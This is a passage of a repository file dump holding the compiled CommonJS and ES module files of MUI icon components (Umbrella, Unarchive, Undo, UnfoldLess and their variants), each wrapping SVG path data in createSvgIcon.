    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}), 'Umbrella');"
  },
  {
    "path": "packages/mui-icons-material/lib/Umbrella.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}), 'Umbrella');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}), 'UmbrellaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}), 'UmbrellaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.12 6.28-2.62.64L13 5.77V3.4c0-.26.22-.48.5-.48.23 0 .43.16.49.36.11.42.5.72.95.72.55 0 1-.45 1-1 0-.1-.02-.2-.05-.3-.3-.98-1.26-1.7-2.39-1.7C12.12 1 11 2.07 11 3.4v2.37L9.5 6.92l-2.62-.64c-.38-.09-.72.27-.6.64l4.77 14.39c.15.46.55.69.95.69s.8-.23.95-.69l4.77-14.39c.12-.37-.22-.73-.6-.64M11 14.8 9.03 8.86l.92.23.76-.58.29-.22zm2 0V8.29l.28.22.76.58.92-.23z\"\n}), 'UmbrellaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.12 6.28-2.62.64L13 5.77V3.4c0-.26.22-.48.5-.48.23 0 .43.16.49.36.11.42.5.72.95.72.55 0 1-.45 1-1 0-.1-.02-.2-.05-.3-.3-.98-1.26-1.7-2.39-1.7C12.12 1 11 2.07 11 3.4v2.37L9.5 6.92l-2.62-.64c-.38-.09-.72.27-.6.64l4.77 14.39c.15.46.55.69.95.69s.8-.23.95-.69l4.77-14.39c.12-.37-.22-.73-.6-.64M11 14.8 9.03 8.86l.92.23.76-.58.29-.22zm2 0V8.29l.28.22.76.58.92-.23z\"\n}), 'UmbrellaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}), 'UmbrellaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}), 'UmbrellaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.28 8.5.76.58.92-.23L13 14.8V8.29zm-4.25.36L11 14.8V8.29l-.28.21-.76.59z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}, \"1\")], 'UmbrellaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UmbrellaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.28 8.5.76.58.92-.23L13 14.8V8.29zm-4.25.36L11 14.8V8.29l-.28.21-.76.59z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 6.92 13 5.77V3.4c0-.26.22-.48.5-.48s.5.21.5.48V4h2v-.6C16 2.07 14.88 1 13.5 1S11 2.07 11 3.4v2.37L9.5 6.92 6 6.07l5.05 15.25c.15.45.55.68.95.68s.8-.23.95-.69L18 6.07zM13.28 8.5l.76.58.92-.23L13 14.8V8.29zm-3.32.59.76-.58.28-.22v6.51L9.03 8.86z\"\n}, \"1\")], 'UmbrellaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Unarchive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.55 5.22-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.15.55L3.46 5.22C3.17 5.57 3 6.01 3 6.5V19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.49-.17-.93-.45-1.28M12 9.5l5.5 5.5H14v2h-4v-2H6.5zM5.12 5l.82-1h12l.93 1z\"\n}), 'Unarchive');"
  },
  {
    "path": "packages/mui-icons-material/lib/Unarchive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.55 5.22-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.15.55L3.46 5.22C3.17 5.57 3 6.01 3 6.5V19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.49-.17-.93-.45-1.28M12 9.5l5.5 5.5H14v2h-4v-2H6.5zM5.12 5l.82-1h12l.93 1z\"\n}), 'Unarchive');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.83 1H5.42zM5 19V8h14v11zm3-5h2.55v3h2.9v-3H16l-4-4z\"\n}), 'UnarchiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.83 1H5.42zM5 19V8h14v11zm3-5h2.55v3h2.9v-3H16l-4-4z\"\n}), 'UnarchiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.55 5.22-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.15.55L3.46 5.22C3.17 5.57 3 6.01 3 6.5V19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.49-.17-.93-.45-1.28m-8.2 4.63L17.5 15H14v2h-4v-2H6.5l5.15-5.15c.19-.19.51-.19.7 0M5.12 5l.82-1h12l.93 1z\"\n}), 'UnarchiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.55 5.22-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.15.55L3.46 5.22C3.17 5.57 3 6.01 3 6.5V19c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.49-.17-.93-.45-1.28m-8.2 4.63L17.5 15H14v2h-4v-2H6.5l5.15-5.15c.19-.19.51-.19.7 0M5.12 5l.82-1h12l.93 1z\"\n}), 'UnarchiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.71 3H5.29L3 5.79V21h18V5.79zM14 15v2h-4v-2H6.5L12 9.5l5.5 5.5zM5.12 5l.81-1h12l.94 1z\"\n}), 'UnarchiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.71 3H5.29L3 5.79V21h18V5.79zM14 15v2h-4v-2H6.5L12 9.5l5.5 5.5zM5.12 5l.81-1h12l.94 1z\"\n}), 'UnarchiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V8H5zm7-9 4 4h-2.55v3h-2.91v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.83 1H5.42zM19 19H5V8h14zm-8.45-2h2.9v-3H16l-4-4-4 4h2.55z\"\n}, \"1\")], 'UnarchiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnarchiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V8H5zm7-9 4 4h-2.55v3h-2.91v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.54 5.23-1.39-1.68C18.88 3.21 18.47 3 18 3H6c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6.02 3 6.5V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6.5c0-.48-.17-.93-.46-1.27M6.24 5h11.52l.83 1H5.42zM19 19H5V8h14zm-8.45-2h2.9v-3H16l-4-4-4 4h2.55z\"\n}, \"1\")], 'UnarchiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Undo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'Undo');"
  },
  {
    "path": "packages/mui-icons-material/lib/Undo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'Undo');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'UndoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'UndoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L3.71 8.71C3.08 8.08 2 8.52 2 9.41V15c0 .55.45 1 1 1h5.59c.89 0 1.34-1.08.71-1.71l-1.91-1.91c1.39-1.16 3.16-1.88 5.12-1.88 3.16 0 5.89 1.84 7.19 4.5.27.56.91.84 1.5.64.71-.23 1.07-1.04.75-1.72C20.23 10.42 16.65 8 12.5 8\"\n}), 'UndoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L3.71 8.71C3.08 8.08 2 8.52 2 9.41V15c0 .55.45 1 1 1h5.59c.89 0 1.34-1.08.71-1.71l-1.91-1.91c1.39-1.16 3.16-1.88 5.12-1.88 3.16 0 5.89 1.84 7.19 4.5.27.56.91.84 1.5.64.71-.23 1.07-1.04.75-1.72C20.23 10.42 16.65 8 12.5 8\"\n}), 'UndoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'UndoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'UndoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'UndoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UndoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8c-2.65 0-5.05.99-6.9 2.6L2 7v9h9l-3.62-3.62c1.39-1.16 3.16-1.88 5.12-1.88 3.54 0 6.55 2.31 7.6 5.5l2.37-.78C21.08 11.03 17.15 8 12.5 8\"\n}), 'UndoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLess.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLess');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLess.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.41 18.59 8.83 20 12 16.83 15.17 20l1.41-1.41L12 14zm9.18-13.18L15.17 4 12 7.17 8.83 4 7.41 5.41 12 10z\"\n}), 'UnfoldLess');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDouble.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDouble');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDouble.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDouble');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 1.41 15.16 0l-3.17 3.17L8.82 0 7.41 1.41 11.99 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.58 6.41 15.16 5l-3.17 3.17L8.82 5 7.41 6.41 11.99 11zM7.42 17.59 8.84 19l3.17-3.17L15.18 19l1.41-1.41L12.01 13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.42 22.59 8.84 24l3.17-3.17L15.18 24l1.41-1.41L12.01 18z\"\n}, \"2\")], 'UnfoldLessDoubleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UnfoldLessDoubleOutlined.mjs",
